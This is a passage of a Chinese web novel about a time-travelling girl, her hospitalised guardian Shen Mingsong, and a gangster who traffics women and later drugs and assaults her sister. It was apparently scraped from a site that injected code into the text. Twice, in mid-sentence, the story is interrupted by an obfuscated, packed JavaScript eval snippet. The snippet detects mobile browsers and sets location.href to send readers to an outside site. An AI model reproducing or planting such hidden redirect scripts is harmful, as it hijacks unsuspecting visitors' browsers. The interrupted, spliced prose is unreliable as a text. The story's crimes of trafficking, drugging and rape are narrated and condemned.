明珠很不方便,陆年又只有一只手能活动,简单给清理后又换上了新衣服,宋尔雅出去找了医生了解大概情况后回来安慰明珠。 沈明松大概中午才醒来了,也是骨头硬,状态不算差,意识清晰。 他一睁眼就看见凑近的脸蛋,她趴在床边,用手支着下巴看他。 那么近的距离能很清晰看见她脑袋边缘被阳光滤色过的碎发,和浅浅琉璃色瞳孔。 他慌张地移开视线,浑身疼得紧,坐不起身子来。 明珠原本还能忍住,可看儿子一醒过来眼泪就直掉,忙伸手抚摸他没伤的地方,小声抽泣:“你要是出了什么事,你让我怎么办?” “妈,咳……对不起,下次不会了。”以前都是些小打小闹,这还是沈明松第一次受这么重的伤,他躺着说句话都咳嗽好几次。 明珠用手帕抹着泪,克制住自己情绪,还是很伤心:“那些到底是什么人,下手这么狠,这是要人命来了。” 沈明松摇头,陆年也不清楚,他羞愧难当的说:“阿姨,我爸爸会查清楚,一定给你们一个公道的。” 陆良在警局职位不低,他亲自盯上的案件,底下的人不敢怠慢敷衍。 四个人里就宋尔雅能跑能跳,她在医院门口买了几份午饭回来。 沈明松双手都抬不起来,宋尔雅扶他起来靠在身后枕头上,午饭装在白色泡沫盒子里,配着一双粘在一起的劣质筷子,她拆开就要喂他吃饭。 他偏过头,没张嘴。 宋尔雅先是迷惑,后才明白了几分,一直凝重的脸才有点笑意:“哥哥,你别害羞呀。” 沈明松一激动就咳嗽,闷在胸腔里震动,明珠收住眼泪拿过盒饭说:“我来吧。” 明珠这一喂,沈明松倒是张嘴吃了。 陆年吊着胳膊眼巴巴地望:“妹妹,你倒是来理一理我呀。” 宋尔雅还没起身,沈明松刀子似的眼神先飞过去:“自己吃。” 陆年被瞪了心里委屈,他没想要被人喂,就是单手掰不开筷子。 算了算了,他可怜巴巴地用牙齿咬开了筷子。 ~ 明珠知晓自己帮不到什么忙可能还会增加负担,第二天就宋尔雅一人带着饭来。 陆良找了个四十多岁的男护工照顾两人,与其被护工一口一口喂,还不如让她来。沈明松别扭了没多久,终于还是吃下宋尔雅喂过来的食物。 也没一个星期功夫,他都能坐起来自己吃饭了。 宋尔雅诧异去拉他衣摆想看看他后背的伤,沈明松霍然抬手推开,凶巴巴地:“你一个大姑娘了,怎么总随便对男人动手动脚。” 宋尔雅:“你又不是男人。” “哈哈哈。”陆年在旁边笑出声来。 沈明松脸色都黑成煤渣。 “我的意思是,哥哥你不是别男人。”宋尔雅赶紧纠正。 “闭嘴!”沈明松训斥她。 宋尔雅耸肩,说自己不看了还不行吗。 说是来照顾他,其实大多数活也是护工在干,宋尔雅就在旁边说说话,沈明松有一搭没一搭的。 好在陆年和她一样待不住片刻,拿了上个病人留下的飞行棋玩了起来。 宋尔雅对陆年也不陌生,他是沈明松至交朋友,他还总想着认宋尔雅当干女儿来着,不过明松叔叔不让。 陆年叔叔除了总是催婚沈明松之外没什么不好的。 而且年轻的陆年一副憨态,看起来傻乎乎的。 “你怎么这么狡猾。”大冬天里陆年汗流浃背,没想就玩个飞行棋,都能被一小姑娘虐,把把输,他憋屈死了。 沈明松说:“我要吃水果。” “来了。”宋尔雅一听立马不玩了,去把水果刀洗了给他削雪梨吃,她不爱吃苹果。 陆年摸了把汗,感谢松哥助他脱困。 水果是林海来探望时拿来的,后面也陆陆续续来了几波人来看他们,不过多数都是陆年那边的亲戚朋友,送的礼品盒堆得很高。 宋尔雅把果肉削在盘子上,陆年拉了张凳子过来自觉就吃。她用牙签扎了块递到沈明松嘴边,他犹豫了一会儿,吃了。 这时有人推门进来,是明秋月。 她看到凑一起吃水果的三个人,愣了一下,随后笑着说:“你们看起来好像还挺不错的。” 陆年怪叫:“什么不错啊,我都疼死了,医生说伤筋动骨一百天,我这还好好久才能拆呢。”他展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510451|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示了手臂上的石膏。 明秋月十分愧疚道歉。 陆年撇撇嘴:“你道什么歉,让明芝兰那个臭丫头来,还有叫她别和那种人来往。” “叔叔已经教训过她了。”明秋月说,她没说明芝兰被她父亲扇了耳光,让她过来道歉,她不仅没来还哭着说沈明松本来就是个混混,被打也不一定是因为她。 她父亲听了后,也就不强求了,他希望女儿远离一切混混。 明秋月拿出两个红包,一个给陆年,一个放沈明松床头桌上:“这是我叔叔的一点心意。” 陆年美滋滋地就收了,打开一看足足有一千块,沈明松没什么表情:“拿回去。” 明秋月露出为难的神色。 宋尔雅觉得有点意思,别人因为自己女儿被打进了医院,她家人却从始至终都没出面过。 明秋月解释说:“我叔叔太忙……” “拿回去。” 明秋月看了看他冷淡神色,叹了口气:“我真讨厌你这个鬼样子。” 也不是说沈明松态度不好,就是他这么什么都不在乎的模样,让明秋月始终都靠近不了他一分。 她看他的眼神没有之前那样炙热了,青春期那点喜欢被消磨后真的什么都不剩。 陆年倒是几次想说什么来缓和气氛,都被明秋月打断了,他干脆也不管了,把盘子里的雪梨吃完,又叫宋尔雅帮他把明秋月带来的礼盒打开看看里面有啥好吃的。 沈明松冷飕飕地扫过去:“你少使唤她。” “没有啊。”陆年一脸无辜。 明秋月便去帮他打开了,她待了不到一个小时就走了。 至今为止,宋尔雅都没真正找到过沈明松说的那个“爱人”。 不会那人就是穿过来的她吧。 于是她问:“哥哥你喜欢我吗? 沈明松被水呛得猛烈咳嗽。 宋尔雅怕他把肺咳出来了。 过年那天,她不能再医院停留太久,早早就要回老太太家给祖宗烧香祭拜。 “哥哥,我明天再来看你。” 沈明松点头,等她走到门口又喊住了人,艰难地用手撑着床板,另一只手从床边一堆食物礼品盒子找出一个不太一样的给她, 陆年一眼就认出了这是被打那天,沈明松手里拎着的那个,还以为在混乱中早就弄丢了,没想居然还在。 宋尔雅轻轻“咦”了一下,好奇的目光落在上面。 盒子外表有些脏了,染着血迹,宋尔雅没有急着去打开盒子,反而是他先打开,将里面的那双黑色小皮鞋检查有没有被损坏。 他手掌宽大,骨节分明,掌心覆上一层老茧,和几道淡下去的伤痕,小皮鞋在他手里小小的。 宋尔雅歪头:“给我的?” “嗯,生日礼物。”沈明松声音算得上温和。 他垂着眼,明明没什么情绪,宋尔雅却觉得他此时像农民工老父亲给心爱的小女儿买了一双昂贵鞋子献上来,只想看见女儿开心幸福的笑容。 她摇摇头,想把这诡异的想法甩出去。 “不喜欢?”沈明松误会了,他抿了抿嘴。 他以前就送过一件裙子,可她从来都没穿过。 他猜不出女孩子会喜欢什么。 “喜欢的。”宋尔雅十分惊喜,怕他不信便现场就试穿了。 皮鞋看着小,穿上却刚刚好合适,宋尔雅站起来走了几步,比自己的布鞋还软,暖乎乎的,一看就不便宜,但她也没有推脱。 “谢谢哥哥。” 沈明松送她了,那她就接受,她对他可没什么好客气的,她没发觉不到这样有什么不对劲的。 两人一起生活过这么多年,和亲人没什么两样,明松叔叔的就是她的。 她离开后,陆年面色古怪,想了想说,“我还以为那是你要给月月的呢。”他之前就劝过沈明松买个礼物缓和一些和明秋月之间的关系。 “你想多了。”沈明松皱眉。 “不想了,以后都不想了。” 陆年可不敢再乱想,这也才惊觉过来一件事。 宋瑶可不是沈明松亲妹妹。 25. 第 25 章 陆年被家里接回去过年,他家请来的护工倒还在岗位里敬职敬业。 明珠实在不忍儿子自己一个人在医院过年,不好在这期间麻烦姐妹两,她一个人也是能坐着轮椅乘坐公交车出行的,母子两勉强在医院吃了个简陋的年夜饭。 过年一如既往地很热闹,宋芳也依旧被奶奶催婚,还说给她找了几个相亲对象让她去试试。 闹到了年初二,姑姑一家打电话来说今天不过来了,宋芳略显失望,不过姑姑有给她写信,她看了之后又笑起来。 但一想到奶奶说中午客人要来,她一猜就知道是相亲对象,实在受不了了,偷偷拉着妹妹往医院跑了躲个清净,在医院里见到了几个警察和方文彬。 打人的那几个已经被抓进去了,方文彬是那些人的大哥,来找沈明松谈赔偿事宜。 可陆良自己儿子也被打了,他可不缺那点医药费,是不可能和解的。 听那几个警察的意思是要判的,医药费也是要赔的。 方文彬等警察走后,态度就没之前那么好了,走到病床上低头看沈明松低声嗤笑。 宋尔雅她之前没见过方文彬这个人,嗅出两人平静外表下的剑拔弩张。 方文彬说:“没想到居然是你,冤家路窄。” 沈明松被他居高临下地望着,撑着身体坐起来,扯了扯嘴皮子假笑:“彬哥最近过得不错。” “当然。”方文彬笑笑,跟了周强后才发现赚钱是那么容易。 他跟林海时虽也不差,偏他这不敢那不碰的,错失那么多路子,他缺钱缺得厉害,不过挪用了点资金,却被沈明松给捅了出来,还查到了他跟周强的事。 他拍拍他脸:“好好养病,下次可能就没这命了。” 宋芳没见过这种态度的求和者,面色愠怒:“有你这么说话的么?” 方文彬转头看了宋芳,目光轻佻地在她身上游了一圈。 宋芳被他眼神刺到后退一步。 他露出个笑容:“再见。” 他走了之后宋芳才愤愤骂了句神经病。 方文彬并不是什么凶恶长相,二十七八的样子,端正五官下透着股邪气,属于斯文败类的那一款。 他也非真心来求和解的,倒像是来看笑话的。 这件事一直到了二月份底沈明松出院了,也没谈下了来,打人那几个除了个未成年送管教所,其他的都进里面蹲了。 ~ 初三最后一学期,时间过去越快,越有人憧憬毕业后的生活。 成绩差的已经放弃了学业这条路,早早做好北上打工的准备,对大城市充满向往,好一点的已经挑选好要去技术学校。 陶冬冬起初还有点羡慕这些人可以懒散度日,后来被亲妈揍了之后,继续跟着宋尔雅冲刺中考。 宋尔雅一直维持着年级第一,学校很看好她,班主任偷偷和她说高中保送名额出来,必定有她一个。 而宋国梁干脆都不读了,成天逃学偷钱和沈路桦到风情街那边鬼混,宋芳下班了都要去揪人。 风情街那边鱼龙混杂,各种足浴店养生馆,大把失业游民成天在那里晃荡,一到晚上热闹非凡。 夜色是一家夜总会,门前每晚都停满了轿车,各种模样的老板刚踏入美女纷纷簇拥而来。 方文彬把新车钥匙丢给泊车小弟,有人笑着迎上来和他说强哥在包厢里等他。 周强是夜色老板,方文彬用了些特殊手段,也掺进来当了股东,没多久就还清了赌债。手里有了钱,他出手也就阔绰,给了引路侍应生一笔消费,推开门包厢门。 周强正在里面和一个女人调情,女人穿着性感的舞服将一支含在嘴里点燃,然后夹在指间递到周强嘴边,笑得风情,看到方文彬时隐隐哀怨。 一个月前这女人还在方文彬怀里羞涩地问他会不会爱她一辈子。 方文彬当然说会。 然而周强有个怪癖,那就是非常喜欢玩他的女人,有一个玩一个,以及他那个逃跑的前妻,都有人猜测是偷偷跟了周强。 他喊了声强哥走过去,给人倒酒,像是一点都不介意当绿帽王八。 周强吐着烟雾看着并不说话,方文彬很识趣地自罚三杯,他才笑盈盈坐直了一些,慢悠悠说:“来了批新货,忒不识趣,还得你好好调教调教。” 方文彬这才去看包厢角落里直至站成一排的年轻女人,他们化着艳丽浓妆,表情拘谨惶恐,在性感女人的吩咐下一个个站过来自我介绍。 她们从前的名字都不能用了,都取名媚媚、艳艳这种。 方文彬看着说话都磕磕绊绊的艳艳,温和笑道:“不用这么紧张,强哥又不会吃人,只要你们好好干,钱少不了,不想干也没人会强迫你们。” 艳艳眼睛一亮,但害怕看了周强一眼后,还是没说什么。 周强是个光头、脸上有一道很长的刀疤,满脸横肉,和人模狗样的方文彬差别很,衬得方文彬更像好人了。 周强笑着,眼底阴恻恻地,和方文彬说了一会儿话,搂着性感女人走了,那个艳艳才敢说话,眼睛含着泪水:“彬哥,我想回家继续读书。” 身旁女人偷偷戳了戳她手臂,低头不敢用眼睛直视人,却听见方文彬回答后诧异抬头。 “行啊。”方文彬拿过茶几上的资料翻看,笑容温暖,“你是小勇从老家带来吧,一个女孩子初来乍到可能对这边不熟悉,害怕也是正常的,这样吧,你可以继续在员工宿舍住着去外面找工作,找不到再回来也是可以的。大家都是出来打工赚钱的,我不会和强哥说的。” …… 方文彬从夜总会出来,哄了一晚上的女人让他着实恼怒,个个都哭着说不想干了要走,也不想想那是什么地方,说来就来说走就走。 他躁动抽着烟,手指磨擦着方向盘往赌场方向开,路边行人涌动,时不时跑出几个醉鬼,他不得不放慢车速以免又撞人了,余光瞥见到几个身影。 他借着足浴店外的灯光,看清了那个被醉鬼拉扯住女人,是眼熟的人,他记得在医院见沈明松时见过这个女人。 宋芳没想过这地方会乱成这个样子,连找宋国梁的心情都没有了,只想赶紧摆脱身边的几位醉鬼。 这边没有巡警,向路人求助他们反到兴致盎然地停在路边看见她尖叫着而哈哈大笑。 就在这时,路边轿车上下来了个男人踹了一脚拉着她的那个酒鬼,酒鬼往地上一倒彻底醉了过去,他几个同伴看到是个开着轿车的高大男人,瞬间酒醒了很多。 他们这样的人,可惹不起能开得起四轮的男人,小心哪天就被人打死了,他们扶着同伴匆匆离开。 宋芳刚要道谢,随后也认出了方文彬,立即扭头走久了。 “小姐,不要对我那么大敌意嘛。” 宋芳不吭声,只想赶紧离开这个鬼地方不想招惹他,她不由加快脚步,巴不得此刻长出八条腿来。 “别这样,我也不是什么坏人。”方文彬对她没有表现出什么恶意,却又不紧不慢地跟在她身后,宋芳怎么也甩不开。 她回到停自行车的地方,发现车被偷了,留下一个车轮子扣着一把锁。 宋芳:“……” 方文彬抬手看表,“现在很晚了,要不要我送你回去?” “不……” “公交车最后一班早就开走了。” “如果你实在信不过我,我给你找辆车回去。” 宋芳摸着口袋,里面只有一把买菜剩的几个硬币,根本不够她打车回去。 方文彬已经在路 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“奶奶!”宋芳直视着老太太,这是她第一次对奶奶生出了反抗之心,带着坚定地说,“爸妈去世后就是我一直在养他,我没读过什么书所以一直不希望弟弟妹妹吃我吃过的苦,既然宋国梁不愿接受我这份心,那也就不强求了。” “以后他的事你也不用来找我了,反正他怎么样你们都不会看着他被饿死的不是吗?” 老太太听不懂她究竟在说什么,只听见了宋芳真要不管弟弟了,急得呼唤屋里睡觉的老伴。 可惜老头子是万事不管的,被人扰了好梦反而骂了几句,翻个身又睡了过去。 宋芳趁机脱身跑了,在回家路上忽然觉得步伐轻盈,原来放下某些东西时真的一身轻。 妹妹说得没错,她的人生不应该是为了弟弟,也不该是为了妹妹,而是为自己而活的。 ~ 宋尔雅不知道宋芳为什么怎么开窍不管宋国梁了,把老太太愁得天天上门劝说,从开始的强势,到后面反而对宋芳说起了软话。 她就守在旁边看着,一见宋芳要有心软的迹象就赶紧插嘴。老太太好几次温情都没进入气氛,就先被她气得脸皮子发抖,说不下去了。 “奶你别说了,喝口水吧。”宋尔雅给她倒水,想想又补充,“这次我可没放盐。” 老太太狐疑半天,接过去喝了又喷出来。 她放了白醋。 沈明松伤还没好全,在隔壁院子和明珠一起剥水煮花生,声音都传到他们耳朵里来了。 明珠听得一愣一愣地,停止了手中动作:“这孩子怎么这么皮?” 沈明松嚼着花生米:“她就那样。” 老太太牙酸得装不下去,抄起扫把要揍她宋尔雅,她把溜了人一圈,两条腿迈向隔壁院子躲人去了。 老太太站外院门口骂了几句,终究是没进沈家。 明珠抓了一把剥好的花生给宋尔雅吃,“瑶瑶,你很讨厌你哥哥?” 宋尔雅拿着花生找了凳子坐下来:“没有哇,我为什么要讨厌哥哥?”说完她才慢悠悠地反应过来指的宋国梁 宋尔雅不可能拿他当亲哥看,主要是宋国梁太没有存在感了,她来这里两年和他就少有交流。 实际她和舅舅也不熟,她都九岁了才知道自己有个舅舅,还是个坐完牢出来就找到宋芳各种方法要钱,狗皮膏药一样甩不掉。 一个连舅舅都当不好的,怎么会当好哥哥呢。 她补充说:“我最喜欢明松哥哥了。。” 沈明松猝不及防地咳嗽一声,差点被花生噎到,他侧目看她。 宋尔雅神色认真。 26. 第 26 章 这波未平那波又起,宋国梁某天夜里偷偷收拾行李跑了,留下字条说要和沈路桦到外面赚大钱去。 把老太太愁得在院子里拍大腿哭,哭孙子要到外面吃苦去了,也哭他偷走的那些钱。 宋尔雅半喜半忧,喜的是这回真的不用管宋国梁了,忧的是方文彬找到她家来了。 之前的事情已经在公安局结案,该坐牢的都坐牢了,方文彬应该和沈明松没再有什么纠葛了,宋尔雅放学回来还是看到了他那辆白色小轿车。 因为这一年的私家车很少见,周围街坊都从家门口探出脑袋来看看是什么事,宋尔雅远远就看见宋芳和方文彬交谈什么。 方文彬穿着休闲西装,带着眼镜人模狗样的,咋一看还挺像长辈眼中文化高、工作好的精英人士。 恰好宋芳就喜欢文化人。 李大婶那几个人偷偷拉住宋尔雅:“宋小妹,那男的谁?你姐对象?” 宋尔雅板着脸,“你们不要乱讲。”这些人最爱八卦,有点风吹草动往他们嘴里一遭,就得变成天塌下来了,离谱得很。 方文彬来和沈明松无关,从汽车后备箱里搬出一辆自行车放地上:“车我给你找回来了。” 宋芳定眼一看,俨然就是自己被偷的那一辆,她本以为车丢了就找不回了,上班又是刚需,很快就买了一辆新的。 现下车子又回来了,还换上了新轮子,她知道像方文彬这种混的人会有自己的帮派,找找小偷小摸简直轻而易举,或许就是他手下小弟偷的呢。 她奇怪又不解看着眼前男人,他没理由帮自己。 方文彬说:“我和姓沈那小子是有恩怨没错,和你又没有,我只是想证明我没你想象中那么坏,怎么样啊,小姐?” 宋芳坚信无事献殷勤非奸即盗,但还是道谢了,她把那天的打车以及换车轮的钱还给他,他拿着钱叠了叠,拉过宋芳衣摆往她口袋里塞。 宋尔雅内心充满危机感,男人想要找个老婆之前,都惯会伪装,展示自己好的一面,演技比谁都真。 晚上她给宋芳教英语时,追问她怎么和方文彬有交集的,宋芳就简单的说了那天的事。 宋芳说:“虽然他不像什么好人,但好歹帮了我,也不算太坏。” 宋尔雅忧心忡忡:“姐姐,你可千万千万千万不要嫁给那种人。”她担心方文彬是宋芳那个畜生前夫。 “你在胡说什么。”宋芳困惑,“我为什么要嫁那种人?” “总之,我看他不像什么好人。”她翻了翻英语教材,轻轻叹气。 她想她得穿回去查查究竟是不是方文彬。 可是她要怎么才能回去呢?她每次穿越都没有任何征兆。说穿就穿了。 现在家里有了两辆自行车,宋芳要了旧的,新的给宋尔雅以后上高中用。 说来有些丢人,她不会骑自行车。 之前旧的那辆是二八杠她上都不会上,现在买了新款式的,她还是学得心惊胆战。 陶冬冬都无语了:“坐上去两脚一踩不就会了吗?” 话是那么说,宋尔雅踩骑踏板还是控制不住的摇晃,车头更是扭来扭去。 陶冬冬推着后座帮着她往沿着环海路开,那边道路窄小轿车是开不进来的,都是些黄昏去散步和钓鱼的人,几乎没什么风险,但那里会有斜坡。 沈明松就坐在路破下边草地边钓鱼,穿好诱饵后他将鱼线甩进海里,远远就听到陶冬冬的声音。 “大胆点,不要怕。” 两个猴子凑一起上窜下跳,笑声感染着路边的人,纷纷让到一边着看她们以一种搞笑的姿势将自行车艰难的移动着。 宋尔雅丑态百出,安慰自己凡事都有第一次不丢人,而且陶冬冬也在身后扶着她就那么怕了,渐渐地也就掌握了平衡。 陶冬冬忽然说:“掉头,别往前开了。” 宋尔雅极快回头看了一眼,小脸写满了惊恐:“你什么时候松手了!” 陶冬冬人在好十几米外招手她回来,双手做喇叭状:“前面有坡!” 完了完了! 等宋尔雅反应过来时车子已经跟着惯性往坡下滑动,这坡又长又高的,别人骑车上来都要站起来蹬,从这里摔下去的话她会疼死的。 车轮子轱辘轱辘滚,她都忘了捏把手上的刹车,灵光一闪地跳车了。 自行车溜溜地往坡下行驶撞到路边电线杆才停下。 宋尔雅却因为惯性不断地往路边柔软草地一直跑,双腿停止不了地跑到沈明松身旁,眼见要跑海里时被及时抱住了。 沈明松:“鱼被你吓跑了。” 宋尔雅惊魂未定,好一会儿才缓过来,指了指海边:“你的鱼竿。” 沈明松扭头看去,鱼竿被拖进了海里,他二话不说跳海里去捞。 拖鞋卡到脚踝,宋尔雅坐到草地上去拔,余光瞥见一根草在动,定眼一看是条青色小蛇。 “啊!” 她惊跳起来,连连后退之下终于还是掉进了海里。 海水瞬间淹没了她脑袋,都往口鼻里灌,又呛又咸,过了一会儿那种咸味消失。 沈明松找到鱼竿又抓回上钩的鱼,从海面冒出脑袋来,好几米外的海面有双手在扑腾。 沈明松:“……” ~ 视野陷入一片漫长的黑暗中,听觉往远扩散,宋尔雅听到自己浅浅的呼吸,机械细微的运转声,衣服布料摩擦。 嘴里那股海水腥咸味已经荡然无存。 她眼皮动了动。 “醒了就别装了。” 她实在装不下去,索性睁开眼睛。 病床前的男人,翘着腿坐在椅子上,因为是躺着的缘故,宋尔雅看他都是仰视,男人那凤眼低垂,眉骨打下很深一片阴影,半阖眼睛里黑压压的,犹如风雨欲来的前兆。 宋尔雅腰上还有骨穿伤口,上次穿回来也被摔得不清,她坐不起来,半天等到他下一句,只好伸出一只手去扯他衣服:“叔叔。” 她已经见过沈明松发脾气的样子,年轻时拿刀砍人,而到了现在不露声色的年纪,着实猜不出他在想什么。 他如沉寂山,山压她身上聚拢起阴霾。 宋尔雅本想等着他发难,可冗长的寂静过后,心里七上八下地来回碾压好几次,最终还是她先败下阵来:“叔叔我错了。” 沈明松眼底浮现出愠怒。 她车祸晕倒后,肯定会被送回医院,而开车的段西瑞这会估计正在被他老妈教训。 宋尔雅心里给他点蜡同时也给自己点了一根。 虽然沈明松不会揍她,但是她还是有些忐忑的。怕他不骂人,更怕他生气了也不表露出来。 宋尔雅连连偷看他好几次,最后手掌朝上冲他摊开:“要不叔叔你打我吧,你不要不理我呀,你这样好吓人,我会好好检讨我跑出医院的事的。” 沈明松盯她好了一会儿,才有了动静。 他用手掌托着后背将她抱了起来,小心地避开了她后腰上的骨穿伤口,轻轻地让她靠在床上。 “为什么跑出去?” “太无聊了,想去玩。” 坐起来看人,才没了那股居高临下的压迫感。 宋尔雅以为能靠着装傻混过关,沈明松靠着椅背长腿叠在一起:“说吧。” 说什么,她刚刚不都认错了吗? 沈明松:“尔尔,你很不乖。” 宋尔雅茫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510453|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地望他。 “还记得叔叔早上说了什么?” 宋尔雅更迷茫了,她这一天之内来回穿越好几次,却在那边过了快两年。半天才回忆起早上沈明松给她看了宋瑶的死亡证明,还说了…… “等你可以说了,再告诉叔叔吧。” 她想起这句话。 沈明松在等她说什么?她有什么可以说的? 宋尔雅抬头和他对视上,汗流浃背了:“叔叔你干嘛这样看着我,除了跑出医院,我真的没干其他坏事了。” 他一瞬不瞬地察看她面部表情变化,似乎在探寻着她心中的秘密。 她对他能有什么秘密,总不能是她能来回穿越的事吧? 沈明松收回视线,穿插一起的十指紧了紧,似乎有些失落。 “我究竟要说什么?”宋尔雅真的糊涂。 她低头看到床头柜子上的小木盒,和段西瑞离开得太匆忙她并没有锁上,日记本正摆放在最上面,旁边还静静躺着个iPad。 心头狠狠一跳,她感觉自己遗忘了什么重要的东西,一时半会之间有想不起来。 有些烦躁地抓抓头发,然后发现自己没有头发。 “对了叔叔,我妈妈的前夫是谁?” 沈明松又猛地看过来,视线锋利,并没有奇怪她突如其来的问题,嘴角下沉轻轻吐出一个答案。 方文彬。 宋尔雅眉头狠狠一跳。 真是这个贱人! 沈明松又说:“问吧,尔尔还想知道什么?” 宋尔雅心绪被其他事情占领,并没注意他的奇怪。 她忙着追问两人是怎么结婚的,希望沈明松多少能知道一点他们之间的事情,让她之后穿到那边时好阻止。 沈明松目光落到桌面的iPad。 霎时,宋尔雅也想起自己究竟遗忘了什么。 她焦急地去拿iPad解锁找到了之前匆匆看过几眼的那张拘留单。 “我局于1997年12月4日23时0分将涉嫌非法拘留、□□的方文彬刑事拘留,现拘押在椰城看守所。” 非法拘留、□□。 宋尔雅有了不好的猜想,脸色煞白:“他伤害的,是我妈妈?!” 沈明松没有否认。 接下宋尔雅问了什么,他知道的都说了出来。 方文彬第一次侵犯宋芳之后,宋老太太觉得的丢死人也不准许人去报警,方文彬又给了他们一笔钱说是彩礼,他会负责到底要娶宋芳。 他们觉得这个方案很好,那个年代光闲言碎语就能逼人上吊,无论错得是哪一方,都劝女性将就忍让。 从来没有人在意宋芳的意愿,家人逼着她摆酒结了婚,一切都当那场犯罪没发生过,实现大团圆结局。 从此宋芳被拘在方文彬家中几个月后才被救下来,绝望之中生出反抗,宁愿不要名声也去公安局报了案。 方文彬被抓了进去,他却背后有人很快被保释出来,后续被拖着迟迟进展不了。 宋芳害怕了选择不追究连夜逃离,从此踏上了背井离乡之路。 宋尔雅没想是这种真相,她以为宋芳后半生的命运已经足够苦了,未料前半生却更为残忍。 她悲愤交加,心情一下起伏太大,浑身都气得抖起来,胸口控制不住的抽动,怎么都压不下去突如其来的崩溃。 她一哭身伤口牵扯疼了,视线在模糊,意识也正在渐渐消散。 她知道了,原来一次次的穿越都像是在提醒,给她机会改变。 沈明松意识到什么,掰着她脸让她清醒一点:“听我说,1997年,六月……” 可是他只能说到一半,声音骤然消失。 28. 第 28 章 时间推移到期末,陶冬冬紧张得要死,跟着宋尔雅苦读成绩确实提升不少,考个高中没问题,但她想和宋尔雅上同一所学校。 这个时候,宋尔雅德育的保送名额已经敲定了。 也有比德育更好的高校向她伸出橄榄枝,可那些学校离家太远需要住宿,德育有钱学校建得非常气派,开设有更多国际课程,相对来说是比较好的选择,并且德育开出免除她学杂费的诱人条件。 中考比暑假要早上好一段时间,早早就要开始布置考场了,给初三学生放了几天假,让大家这几天也不要松懈下来,好好复习迎接考试。 宋尔雅在学习上一向刻苦自律,并不焦虑学习问题,这个月以来高度就紧张的都是宋芳动向,每天提醒她注意安全,下班了赶紧回家,方文彬是坏人小心被他绑架。 宋芳并没有什么异常,更不和方文彬单独在一个空间相处。 她白天去上班,一下班就回来了,晚饭过后去隔壁看一会电视剧,回房间后又学两个小时英语后睡觉,日复一日。 宋尔雅小假期里每天跟着宋芳去上班,当然她也不能总待在店里,她就在机场商场里的休息长椅上,复习老师给的资料。 机场开着空调,比待在家里凉快多了,宋芳还以为她是来避暑的。 方小娟偶尔空闲时会朝那边看一眼,机场人来人往还伴随着巨大的广播声都影响不了她一点,坐累了她会站起来伸展一下。 少女身姿亭亭玉立,芙蓉面上未施粉黛,引起路人驻足侧目。 方小娟不得不承认宋家姐妹两都生得好,比夜色最受欢迎的头牌都要惊艳,方文彬死缠烂打想要宋芳做老婆也没什么可奇怪的。 如果宋芳能到那边工作,远远比这里工资要多得多。 可是并不是谁都能放下清白和尊严的,连方小娟自己都放不下。 她想回家,想重新回学校念书,如果她能回得去,是不是也能和这个少女一样青春灿烂,依旧能迎来更好的未来? 方小娟眼里渐渐亮起了光芒,同时也消失了某一些东西。 中考那天,宋芳下班后急着回去问妹妹考得怎么样,店长却突然说要请大家聚餐,打电话去福满楼订了包厢,都没给她回绝的机会。 方小娟抱着她手臂笑盈盈:“你妹妹学习那么好,不会考砸的,而且她不是保送了么,你急啥?” 宋芳想想也是,便用店里座机给沈家里打了电话,是明珠接的。 之后一群人热热闹闹去了酒楼,店长自己带了酒来给所有人都倒上,说是好东西,连女生的酒杯也给满上了。 灌酒文化盛行,也没人说不,宋芳小酌一口,确实香醇浓厚。 福满楼不愧是大酒楼,做菜地道好吃,配着酒入肚让人上头。店长让大家尽情吃喝。 方小娟似乎很能喝酒,直接抱着酒瓶子不放了,频频要和宋芳碰杯,还笑她:“小芳,你酒量不行啊。” 宋芳摸摸自己滚烫的脸,脑子确实有些糊涂了:“不喝了。” 有人笑她:“小芳喝醉了呢。” 聚餐结束都晚上八点多了,天色彻底暗下来,宋芳靠着椅子上双目微阖。 一个男同事站起来:“我送小芳回去吧。” 方小娟也跟着站起来揶揄道:“还是我来吧,你一个大男人不方便吧。” 男同事被戳破心细,不好意思地挠了挠头,但还是好心帮忙扶着人到了楼下叫车。 方小娟拧开一瓶水给宋芳:“先喝点水吧。” 宋芳喝了之后,就有些困了。 方小娟就让男同事先走了,自己会安全把人送回家的,她没去叫计程车,而是等一辆私家车开过来后,把宋芳塞了进去。 看着车屁股渐渐远去,方小娟在心里道歉,可是她太想回家了,她害怕这里。 她茫然地站在路边上,一时不知道自己要去哪里,她不敢去想宋芳会遭遇什么,每想一秒良心上都遭受着谴责。 不是她自己要做坏人的,她拼命地安慰自己。 一辆摩托车猛地窜过来,明晃晃的拦住了她的去路,车上跳下来一位少女,方小娟一看是宋尔雅,下意识地转身就跑。 宋尔雅焦急地去推开车的人:“抓她抓她,她一定有问题!” 沈明松箭步冲过去没多远就在一个拐角按住了方小娟。 方小娟尖叫:“啊,你、你干什么?放开我。” 少年力气很大,她用尽了全身力气也挣脱不开,想去咬他还反而被掐住了下颌。 沈明松不知道眼前这个女人是怎么回事,也就没有开口,等宋尔雅追上来后把方小娟推到她面前,依旧紧紧按着她肩头不让她跑。 宋尔雅冷冷地看着方小娟:“我姐呢?” “你姐,你姐喝醉被其他同事送回去了,你出来路上没遇见吗?” 在考完试回来后,宋尔雅得知宋芳打电话回来说要聚餐晚回,她瞬间就警惕起来了。 